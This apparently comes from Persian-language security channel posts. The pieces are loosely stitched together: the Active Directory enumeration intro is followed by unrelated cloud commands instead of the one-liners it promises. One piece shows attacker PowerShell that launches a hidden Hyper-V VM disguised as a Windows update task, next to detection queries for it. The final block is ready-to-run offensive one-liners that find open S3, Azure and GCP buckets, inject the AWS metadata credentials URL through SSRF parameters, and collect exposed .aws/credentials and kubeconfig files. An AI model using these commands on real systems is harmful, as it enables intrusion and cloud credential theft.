نظرتون راجب این چیه؟

https://t.me/+XPV3S0tygl1lZGE0

"cmd.exe" /C powershell.exe -c import-vm -path "c:\\programdata\\microsoft\\AppV\\app\\Virtual Machines\\1DBCC80B-5803-4AF1-8772-712C688F408A.vmcx" -Copy -GenerateNewId > c:\\Programdata\\WindowsUpdateTask_t.tmp 2>&1

"cmd.exe" /C powershell.exe -c Start-VM -name WSL > c:\\Programdata\\WindowsUpdateTask_R.tmp 2>&1

event_type: "processcreatewin"

AND

proc_file_path: "powershell.exe"

AND

cmdline: ("import-vm" OR "start-vm")

آیا تا به حال با تکنیک‌ های مشابه ای مواجه شده‌اید؟ نظرات و تجربیات خود را به اشتراک بگذارید!

event_type: "processcreatewin"

AND

proc_file_productname: "PDQConnectAgent"

event_type: "dnsreqwin"

AND

dns_rname: "app.pdq.com"

نظرات خود را با ما به اشتراک بگذارید

1 - dvwa : https://github.com/sagikazarmark/docker-dvwa
2 - juice shop : https://github.com/juice-shop/juice-shop
3 - VunlableApp : https://github.com/SasanLabs/VulnerableApp

انتقادی داشتید حتما اطلاع بدید، تا بتونیم آموزش با کیفیت‌تری ارائه بدیم،امیدواریم از آموزش لذت ببرید.

در بیشتر دوره ‌های تیم قرمز، دانشجویان را تشویق می ‌کنند تا از اسکریپت‌ های PowerShell آماده برای شمارش محیط AD استفاده کنند، مانند  powerview.ps1، که روشی بسیار مناسب و غیرپیچیده است. اما اگر این روش مناسب برای ما نامناسب شود و اجازه دانلود اسکریپت‌های PowerShell یا هر ابزار دیگری از اینترنت در سیستم آسیب‌دیده را نداشته باشیم، چه باید کرد؟
اسکریپت‌هایی مانند Powerview.ps1 از توابع برای ساده‌سازی کارها استفاده می‌کنند. اما برخی از دستورات تک‌ خطی وجود دارند که می ‌توانند همان کار را در صورت عدم دسترسی به powerview انجام دهند.

cat urls.txt | grep -oE "[a-zA-Z0-9.-]+\.s3\.amazonaws\.com" | anew s3_buckets.txt
cat urls.txt | grep -oE "s3://[a-zA-Z0-9.-]+" | anew s3_buckets.txt

cat s3_buckets.txt | xargs -I@ sh -c 'aws s3 ls s3://@ --no-sign-request 2>/dev/null && echo "OPEN: @"'

cat urls.txt | grep -oE "[a-zA-Z0-9-]+\.firebaseio\.com" | xargs -I@ curl -s @/.json | grep -v "null"

cat urls.txt | grep -oE "[a-zA-Z0-9-]+\.blob\.core\.windows\.net" | anew azure_blobs.txt

cat urls.txt | grep -oE "storage\.googleapis\.com/[a-zA-Z0-9-]+" | anew gcp_buckets.txt

cat urls.txt | gf ssrf | qsreplace "http://169.254.169.254/latest/meta-data/iam/security-credentials/" | httpx -silent -ms "AccessKeyId"

cat alive.txt | httpx -silent -path /.aws/credentials,/.docker/config.json,/kubeconfig -mc 200 | anew cloud_creds.txt